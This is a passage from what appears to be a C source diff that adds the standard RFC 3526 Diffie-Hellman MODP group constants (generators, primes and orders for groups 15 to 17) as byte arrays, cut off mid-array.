0xA8, 0xE1, 0x22, + 0xF2, 0x42, 0xDA, 0xBB, 0x31, 0x2F, 0x3F, 0x63, + 0x7A, 0x26, 0x21, 0x74, 0xD3, 0x1B, 0xF6, 0xB5, + 0x85, 0xFF, 0xAE, 0x5B, 0x7A, 0x03, 0x5B, 0xF6, + 0xF7, 0x1C, 0x35, 0xFD, 0xAD, 0x44, 0xCF, 0xD2, + 0xD7, 0x4F, 0x92, 0x08, 0xBE, 0x25, 0x8F, 0xF3, + 0x24, 0x94, 0x33, 0x28, 0xF6, 0x72, 0x2D, 0x9E, + 0xE1, 0x00, 0x3E, 0x5C, 0x50, 0xB1, 0xDF, 0x82, + 0xCC, 0x6D, 0x24, 0x1B, 0x0E, 0x2A, 0xE9, 0xCD, + 0x34, 0x8B, 0x1F, 0xD4, 0x7E, 0x92, 0x67, 0xAF, + 0xC1, 0xB2, 0xAE, 0x91, 0xEE, 0x51, 0xD6, 0xCB, + 0x0E, 0x31, 0x79, 0xAB, 0x10, 0x42, 0xA9, 0x5D, + 0xCF, 0x6A, 0x94, 0x83, 0xB8, 0x4B, 0x4B, 0x36, + 0xB3, 0x86, 0x1A, 0xA7, 0x25, 0x5E, 0x4C, 0x02, + 0x78, 0xBA, 0x36, 0x04, 0x65, 0x0C, 0x10, 0xBE, + 0x19, 0x48, 0x2F, 0x23, 0x17, 0x1B, 0x67, 0x1D, + 0xF1, 0xCF, 0x3B, 0x96, 0x0C, 0x07, 0x43, 0x01, + 0xCD, 0x93, 0xC1, 0xD1, 0x76, 0x03, 0xD1, 0x47, + 0xDA, 0xE2, 0xAE, 0xF8, 0x37, 0xA6, 0x29, 0x64, + 0xEF, 0x15, 0xE5, 0xFB, 0x4A, 0xAC, 0x0B, 0x8C, + 0x1C, 0xCA, 0xA4, 0xBE, 0x75, 0x4A, 0xB5, 0x72, + 0x8A, 0xE9, 0x13, 0x0C, 0x4C, 0x7D, 0x02, 0x88, + 0x0A, 0xB9, 0x47, 0x2D, 0x45, 0x56, 0x55, 0x34, + 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; + +/* RFC 3526, 4. Group 15 - 3072 Bit MODP + * Generator: 2 + * Prime: 2^3072 - 2^3008 - 1 + 2^64 * { [2^2942 pi] + 1690314 } + */ +static const u8 dh_group15_generator[1] = { 0x02 }; +static const u8 dh_group15_prime[384] = { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, + 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, + 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, + 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, + 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, + 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, + 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, + 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, + 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, + 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, + 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, + 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, + 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, + 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, + 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, + 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, + 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, + 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, + 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, + 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, + 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, + 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, + 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, + 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, + 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, + 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, + 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, + 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, + 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, + 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, + 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, + 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, + 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, + 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, + 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, + 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, + 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, + 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, + 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, + 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, + 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, + 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, + 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, + 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, + 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, + 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x3A, 0xD2, 0xCA, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; +static const u8 dh_group15_order[384] = { + 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xE4, 0x87, 0xED, 0x51, 0x10, 0xB4, 0x61, 0x1A, + 0x62, 0x63, 0x31, 0x45, 0xC0, 0x6E, 0x0E, 0x68, + 0x94, 0x81, 0x27, 0x04, 0x45, 0x33, 0xE6, 0x3A, + 0x01, 0x05, 0xDF, 0x53, 0x1D, 0x89, 0xCD, 0x91, + 0x28, 0xA5, 0x04, 0x3C, 0xC7, 0x1A, 0x02, 0x6E, + 0xF7, 0xCA, 0x8C, 0xD9, 0xE6, 0x9D, 0x21, 0x8D, + 0x98, 0x15, 0x85, 0x36, 0xF9, 0x2F, 0x8A, 0x1B, + 0xA7, 0xF0, 0x9A, 0xB6, 0xB6, 0xA8, 0xE1, 0x22, + 0xF2, 0x42, 0xDA, 0xBB, 0x31, 0x2F, 0x3F, 0x63, + 0x7A, 0x26, 0x21, 0x74, 0xD3, 0x1B, 0xF6, 0xB5, + 0x85, 0xFF, 0xAE, 0x5B, 0x7A, 0x03, 0x5B, 0xF6, + 0xF7, 0x1C, 0x35, 0xFD, 0xAD, 0x44, 0xCF, 0xD2, + 0xD7, 0x4F, 0x92, 0x08, 0xBE, 0x25, 0x8F, 0xF3, + 0x24, 0x94, 0x33, 0x28, 0xF6, 0x72, 0x2D, 0x9E, + 0xE1, 0x00, 0x3E, 0x5C, 0x50, 0xB1, 0xDF, 0x82, + 0xCC, 0x6D, 0x24, 0x1B, 0x0E, 0x2A, 0xE9, 0xCD, + 0x34, 0x8B, 0x1F, 0xD4, 0x7E, 0x92, 0x67, 0xAF, + 0xC1, 0xB2, 0xAE, 0x91, 0xEE, 0x51, 0xD6, 0xCB, + 0x0E, 0x31, 0x79, 0xAB, 0x10, 0x42, 0xA9, 0x5D, + 0xCF, 0x6A, 0x94, 0x83, 0xB8, 0x4B, 0x4B, 0x36, + 0xB3, 0x86, 0x1A, 0xA7, 0x25, 0x5E, 0x4C, 0x02, + 0x78, 0xBA, 0x36, 0x04, 0x65, 0x0C, 0x10, 0xBE, + 0x19, 0x48, 0x2F, 0x23, 0x17, 0x1B, 0x67, 0x1D, + 0xF1, 0xCF, 0x3B, 0x96, 0x0C, 0x07, 0x43, 0x01, + 0xCD, 0x93, 0xC1, 0xD1, 0x76, 0x03, 0xD1, 0x47, + 0xDA, 0xE2, 0xAE, 0xF8, 0x37, 0xA6, 0x29, 0x64, + 0xEF, 0x15, 0xE5, 0xFB, 0x4A, 0xAC, 0x0B, 0x8C, + 0x1C, 0xCA, 0xA4, 0xBE, 0x75, 0x4A, 0xB5, 0x72, + 0x8A, 0xE9, 0x13, 0x0C, 0x4C, 0x7D, 0x02, 0x88, + 0x0A, 0xB9, 0x47, 0x2D, 0x45, 0x55, 0x62, 0x16, + 0xD6, 0x99, 0x8B, 0x86, 0x82, 0x28, 0x3D, 0x19, + 0xD4, 0x2A, 0x90, 0xD5, 0xEF, 0x8E, 0x5D, 0x32, + 0x76, 0x7D, 0xC2, 0x82, 0x2C, 0x6D, 0xF7, 0x85, + 0x45, 0x75, 0x38, 0xAB, 0xAE, 0x83, 0x06, 0x3E, + 0xD9, 0xCB, 0x87, 0xC2, 0xD3, 0x70, 0xF2, 0x63, + 0xD5, 0xFA, 0xD7, 0x46, 0x6D, 0x84, 0x99, 0xEB, + 0x8F, 0x46, 0x4A, 0x70, 0x25, 0x12, 0xB0, 0xCE, + 0xE7, 0x71, 0xE9, 0x13, 0x0D, 0x69, 0x77, 0x35, + 0xF8, 0x97, 0xFD, 0x03, 0x6C, 0xC5, 0x04, 0x32, + 0x6C, 0x3B, 0x01, 0x39, 0x9F, 0x64, 0x35, 0x32, + 0x29, 0x0F, 0x95, 0x8C, 0x0B, 0xBD, 0x90, 0x06, + 0x5D, 0xF0, 0x8B, 0xAB, 0xBD, 0x30, 0xAE, 0xB6, + 0x3B, 0x84, 0xC4, 0x60, 0x5D, 0x6C, 0xA3, 0x71, + 0x04, 0x71, 0x27, 0xD0, 0x3A, 0x72, 0xD5, 0x98, + 0xA1, 0xED, 0xAD, 0xFE, 0x70, 0x7E, 0x88, 0x47, + 0x25, 0xC1, 0x68, 0x90, 0x54, 0x9D, 0x69, 0x65, + 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; + +/* RFC 3526, 5. Group 16 - 4096 Bit MODP + * Generator: 2 + * Prime: 2^4096 - 2^4032 - 1 + 2^64 * { [2^3966 pi] + 240904 } + */ +static const u8 dh_group16_generator[1] = { 0x02 }; +static const u8 dh_group16_prime[512] = { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, + 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, + 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, + 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, + 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, + 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, + 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, + 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, + 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, + 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, + 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, + 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, + 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, + 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, + 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, + 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, + 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, + 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, + 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, + 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, + 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, + 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, + 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, + 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, + 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, + 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, + 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, + 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, + 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, + 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, + 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, + 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, + 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, + 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, + 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, + 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, + 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, + 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, + 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, + 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, + 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, + 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, + 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, + 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, + 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, + 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01, + 0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7, + 0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26, + 0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C, + 0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA, + 0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8, + 0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9, + 0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6, + 0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D, + 0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2, + 0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED, + 0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF, + 0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C, + 0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9, + 0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1, + 0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F, + 0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x06, 0x31, 0x99, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; +static const u8 dh_group16_order[512] = { + 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xE4, 0x87, 0xED, 0x51, 0x10, 0xB4, 0x61, 0x1A, + 0x62, 0x63, 0x31, 0x45, 0xC0, 0x6E, 0x0E, 0x68, + 0x94, 0x81, 0x27, 0x04, 0x45, 0x33, 0xE6, 0x3A, + 0x01, 0x05, 0xDF, 0x53, 0x1D, 0x89, 0xCD, 0x91, + 0x28, 0xA5, 0x04, 0x3C, 0xC7, 0x1A, 0x02, 0x6E, + 0xF7, 0xCA, 0x8C, 0xD9, 0xE6, 0x9D, 0x21, 0x8D, + 0x98, 0x15, 0x85, 0x36, 0xF9, 0x2F, 0x8A, 0x1B, + 0xA7, 0xF0, 0x9A, 0xB6, 0xB6, 0xA8, 0xE1, 0x22, + 0xF2, 0x42, 0xDA, 0xBB, 0x31, 0x2F, 0x3F, 0x63, + 0x7A, 0x26, 0x21, 0x74, 0xD3, 0x1B, 0xF6, 0xB5, + 0x85, 0xFF, 0xAE, 0x5B, 0x7A, 0x03, 0x5B, 0xF6, + 0xF7, 0x1C, 0x35, 0xFD, 0xAD, 0x44, 0xCF, 0xD2, + 0xD7, 0x4F, 0x92, 0x08, 0xBE, 0x25, 0x8F, 0xF3, + 0x24, 0x94, 0x33, 0x28, 0xF6, 0x72, 0x2D, 0x9E, + 0xE1, 0x00, 0x3E, 0x5C, 0x50, 0xB1, 0xDF, 0x82, + 0xCC, 0x6D, 0x24, 0x1B, 0x0E, 0x2A, 0xE9, 0xCD, + 0x34, 0x8B, 0x1F, 0xD4, 0x7E, 0x92, 0x67, 0xAF, + 0xC1, 0xB2, 0xAE, 0x91, 0xEE, 0x51, 0xD6, 0xCB, + 0x0E, 0x31, 0x79, 0xAB, 0x10, 0x42, 0xA9, 0x5D, + 0xCF, 0x6A, 0x94, 0x83, 0xB8, 0x4B, 0x4B, 0x36, + 0xB3, 0x86, 0x1A, 0xA7, 0x25, 0x5E, 0x4C, 0x02, + 0x78, 0xBA, 0x36, 0x04, 0x65, 0x0C, 0x10, 0xBE, + 0x19, 0x48, 0x2F, 0x23, 0x17, 0x1B, 0x67, 0x1D, + 0xF1, 0xCF, 0x3B, 0x96, 0x0C, 0x07, 0x43, 0x01, + 0xCD, 0x93, 0xC1, 0xD1, 0x76, 0x03, 0xD1, 0x47, + 0xDA, 0xE2, 0xAE, 0xF8, 0x37, 0xA6, 0x29, 0x64, + 0xEF, 0x15, 0xE5, 0xFB, 0x4A, 0xAC, 0x0B, 0x8C, + 0x1C, 0xCA, 0xA4, 0xBE, 0x75, 0x4A, 0xB5, 0x72, + 0x8A, 0xE9, 0x13, 0x0C, 0x4C, 0x7D, 0x02, 0x88, + 0x0A, 0xB9, 0x47, 0x2D, 0x45, 0x55, 0x62, 0x16, + 0xD6, 0x99, 0x8B, 0x86, 0x82, 0x28, 0x3D, 0x19, + 0xD4, 0x2A, 0x90, 0xD5, 0xEF, 0x8E, 0x5D, 0x32, + 0x76, 0x7D, 0xC2, 0x82, 0x2C, 0x6D, 0xF7, 0x85, + 0x45, 0x75, 0x38, 0xAB, 0xAE, 0x83, 0x06, 0x3E, + 0xD9, 0xCB, 0x87, 0xC2, 0xD3, 0x70, 0xF2, 0x63, + 0xD5, 0xFA, 0xD7, 0x46, 0x6D, 0x84, 0x99, 0xEB, + 0x8F, 0x46, 0x4A, 0x70, 0x25, 0x12, 0xB0, 0xCE, + 0xE7, 0x71, 0xE9, 0x13, 0x0D, 0x69, 0x77, 0x35, + 0xF8, 0x97, 0xFD, 0x03, 0x6C, 0xC5, 0x04, 0x32, + 0x6C, 0x3B, 0x01, 0x39, 0x9F, 0x64, 0x35, 0x32, + 0x29, 0x0F, 0x95, 0x8C, 0x0B, 0xBD, 0x90, 0x06, + 0x5D, 0xF0, 0x8B, 0xAB, 0xBD, 0x30, 0xAE, 0xB6, + 0x3B, 0x84, 0xC4, 0x60, 0x5D, 0x6C, 0xA3, 0x71, + 0x04, 0x71, 0x27, 0xD0, 0x3A, 0x72, 0xD5, 0x98, + 0xA1, 0xED, 0xAD, 0xFE, 0x70, 0x7E, 0x88, 0x47, + 0x25, 0xC1, 0x68, 0x90, 0x54, 0x90, 0x84, 0x00, + 0x8D, 0x39, 0x1E, 0x09, 0x53, 0xC3, 0xF3, 0x6B, + 0xC4, 0x38, 0xCD, 0x08, 0x5E, 0xDD, 0x2D, 0x93, + 0x4C, 0xE1, 0x93, 0x8C, 0x35, 0x7A, 0x71, 0x1E, + 0x0D, 0x4A, 0x34, 0x1A, 0x5B, 0x0A, 0x85, 0xED, + 0x12, 0xC1, 0xF4, 0xE5, 0x15, 0x6A, 0x26, 0x74, + 0x6D, 0xDD, 0xE1, 0x6D, 0x82, 0x6F, 0x47, 0x7C, + 0x97, 0x47, 0x7E, 0x0A, 0x0F, 0xDF, 0x65, 0x53, + 0x14, 0x3E, 0x2C, 0xA3, 0xA7, 0x35, 0xE0, 0x2E, + 0xCC, 0xD9, 0x4B, 0x27, 0xD0, 0x48, 0x61, 0xD1, + 0x11, 0x9D, 0xD0, 0xC3, 0x28, 0xAD, 0xF3, 0xF6, + 0x8F, 0xB0, 0x94, 0xB8, 0x67, 0x71, 0x6B, 0xD7, + 0xDC, 0x0D, 0xEE, 0xBB, 0x10, 0xB8, 0x24, 0x0E, + 0x68, 0x03, 0x48, 0x93, 0xEA, 0xD8, 0x2D, 0x54, + 0xC9, 0xDA, 0x75, 0x4C, 0x46, 0xC7, 0xEE, 0xE0, + 0xC3, 0x7F, 0xDB, 0xEE, 0x48, 0x53, 0x60, 0x47, + 0xA6, 0xFA, 0x1A, 0xE4, 0x9A, 0x03, 0x18, 0xCC, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; + +/* RFC 3526, 6. Group 17 - 6144 Bit MODP + * Generator: 2 + * Prime: 2^6144 - 2^6080 - 1 + 2^64 * { [2^6014 pi] + 929484 } + */ +static const u8 dh_group17_generator[1] = { 0x02 }; +static const u8 dh_group17_prime[768] = { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, + 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, + 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, + 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, + 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, + 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, + 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, + 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, + 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, + 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, + 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, + 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, + 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, + 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, + 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, + 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, + 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, + 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, + 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, + 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, + 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, + 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, + 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, + 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, + 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, + 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, + 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, + 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, + 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, + 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, + 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, + 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, + 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, + 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, + 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, + 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, + 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, + 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, + 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, + 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, + 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, + 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, + 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, + 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, + 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, + 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01, + 0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7, + 0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26, + 0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C, + 0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA, + 0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8, + 0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9, + 0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6, + 0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D, + 0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2, + 0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED, + 0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF, + 0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C, + 0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9, + 0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1, + 0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F, + 0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x02, 0x84, 0x92, + 0x36, 0xC3, 0xFA, 0xB4, 0xD2, 0x7C, 0x70, 0x26, + 0xC1, 0xD4, 0xDC, 0xB2, 0x60, 0x26, 0x46, 0xDE, + 0xC9, 0x75, 0x1E, 0x76, 0x3D, 0xBA, 0x37, 0xBD, + 0xF8, 0xFF, 0x94, 0x06, 0xAD, 0x9E, 0x53, 0x0E, + 0xE5, 0xDB, 0x38, 0x2F, 0x41, 0x30, 0x01, 0xAE, + 0xB0, 0x6A, 0x53, 0xED, 0x90, 0x27, 0xD8, 0x31, + 0x17, 0x97, 0x27, 0xB0, 0x86, 0x5A, 0x89, 0x18, + 0xDA, 0x3E, 0xDB, 